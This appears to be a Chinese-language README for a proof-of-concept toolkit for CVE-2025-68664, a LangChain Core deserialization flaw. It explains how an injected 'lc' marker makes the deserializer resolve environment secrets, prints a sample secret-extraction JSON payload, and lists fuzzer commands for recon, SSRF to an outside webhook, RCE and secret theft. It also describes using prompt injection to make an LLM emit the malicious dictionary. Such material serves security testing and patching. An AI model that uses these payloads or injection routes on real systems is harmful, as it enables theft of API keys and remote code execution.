一个用于识别和演示LangChain Core(<0.3.81)中反序列化漏洞的测试框架。仅限教育用途。
LangGrinch-PoC/ │ ├── README.md # Main documentation & writeup ├── PAYLOADS.md # Complete payload arsenal (55+) ├── langgrinch_fuzzer.py # Python payload generator & tester ├── requirements.txt # Python dependencies └── LICENSE # MIT License
## 🚀 快速开始
### 安装```bash
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
python langgrinch_fuzzer.py --list
python langgrinch_fuzzer.py --category recon python langgrinch_fuzzer.py --category ssrf python langgrinch_fuzzer.py --category rce
python langgrinch_fuzzer.py --secret MY_API_KEY
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
python langgrinch_fuzzer.py --export payloads.json
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/a59cc259070b0a6930250b423ecf6befeab7fd75694091738ff5f8d2899b56ad.gif" width="200" alt="黑客动图"/>
<img src="https://assets.kitploit.com/production/public/readmes/15055/0751965da24039c9facbe6006461ec38a66ff560b42dc590d1964f43f7f9853d.gif" width="200" alt="安全动图"/>
矩阵动图
</p>
---
## 🎯 概要
**CVE-2025-68664(代号:LangGrinch)** 是一个在 **LangChain Core Python 包** 中发现的严重 **序列化注入漏洞**。攻击者可以通过 LLM 输出或用户控制的字典注入恶意的 `lc` 标记,从而实现:
1. 🔑 **环境密钥窃取**(API 密钥、数据库密码)
2. 🌐 **SSRF 攻击**(访问内部服务)
3. 💀 **远程代码执行**(通过 Jinja2 SSTI 链)
4. 📂 **文件系统访问**(读取敏感文件)
<table align="center">
<tr>
<td>
### ⚡ 快捷统计
| 🔥 指标 | 📊 数值 |
|-----------|----------|
| **CVE ID** | CVE-2025-68664 |
| **代号** | LangGrinch |
| **攻击类型** | 反序列化注入 |
| **身份验证要求** | 无(提示注入) |
| **复杂度** | 低 |
</td>
<td>
### 🎯 受影响版本
| 📌 属性 | 📝 值 |
|-------------|----------|
| **包** | langchain-core |
| **受影响版本** | < 0.3.81, >= 1.0.0 < 1.2.5 |
| **已修复版本** | 0.3.81+, 1.2.5+ |
| **影响范围** | 密钥 + RCE |
| **CWE** | CWE-502 |
</td>
</tr>
</table>
---
## 🐛 漏洞深入剖析
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/fb07ef9946fd69ee29be7a85737fa8b18fa02c8ec40293de8a4994d5e8419a6a.gif" width="300" alt="漏洞动图"/>
</p>
### 📋 技术概述
| 属性 | 值 |
|----------|-------|
| 🆔 **CVE ID** | CVE-2025-68664 |
| 🏷️ **代号** | LangGrinch |
| 📊 **严重性** | 严重 🔴 |
| 🔗 **CWE** | CWE-502(不可信数据的反序列化) |
| 📦 **受影响包** | `langchain-core` |
| ⚠️ **受影响版本** | `< 0.3.81` 以及 `>= 1.0.0, < 1.2.5` |
| ✅ **已修复版本** | `0.3.81+`,`1.2.5+` |
### 🤖 什么是 LangChain?
LangChain 是一个流行的 Python 框架,用于构建基于**大型语言模型(LLM)**的应用。它在各行业中广泛部署:
| 🏢 使用场景 | 📝 描述 |
|-------------|----------------|
| 🤖 **AI 聊天机器人** | 客户服务、支持代理 |
| 🔍 **RAG 系统** | 检索增强生成 |
| 🔧 **AI 代理** | 自主任务执行 |
| 📊 **数据处理** | 文档分析、摘要 |
| 🔄 **工作流自动化** | AI 驱动管道 |
### 🔧 技术根本原因
LangChain 的内部序列化格式使用了一个特殊标记——**`lc` 键**。当字典中包含 `lc` 键时,LangChain 反序列化器会将其视为“可信的 LangChain 序列化对象”。
**漏洞在于:**
- `dumps()` / `dumpd()` 函数**没有**对用户/LLM 控制字典中的 `lc` 键进行转义/中和
- 通过 `load()` / `loads()` 进行反序列化时,注入的结构会被当作**内部对象**处理```
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘
在LangChain的序列化格式中,字典内部存在 "lc": 1 表示它是一个LangChain序列化对象,而非普通用户数据:```json
{
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
当反序列化器遇到此结构时:
1. `lc` == 1 确认它是一个LangChain对象
2. `type` == "secret" 触发秘密解析路径
3. 从 `id` 数组中提取环境变量名
4. **结果:** 返回 `os.environ["OPENAI_API_KEY"]` 的值!
### 🗺️ 攻击流程图```mermaid
graph TD
A[🎯 Attacker] -->|Prompt Injection| B[🤖 LLM outputs malicious dict]
B -->|Contains lc marker| C[📝 App serializes LLM output]
C -->|Cache/Log/History| D[💾 Stored in system]
D -->|Later retrieval| E[🔄 Deserialization triggered]
E -->|lc marker detected| F[⚙️ LangChain object resolution]
F -->|type: secret| G[🔑 ENV SECRETS LEAKED]
F -->|type: constructor| H[🏗️ UNSAFE OBJECT INSTANTIATION]
H -->|SSRF Gadget| I[🌐 OUTBOUND CONNECTIONS]
H -->|Jinja2 Template| J[💀 CODE EXECUTION]
style A fill:#ff0000,color:#fff
style G fill:#ff9800,color:#fff
style I fill:#9c27b0,color:#fff
style J fill:#000000,color:#fff
| 📍 注入点 | 🎯 工作原理 |
|---|---|
| LLM 输出 | 使用提示注入使 LLM 输出恶意 JSON |
| additional_kwargs | 注入到消息对象的额外字段中 |
| response_metadata | 植入 API 响应元数据中 |
| 工具输出 | 嵌入到代理工具结果中 |
| 用户消息 | 直接处理用户输入 |
⚠️ 免责声明:这些有效载荷仅用于授权的安全测试。未经授权的利用是非法的!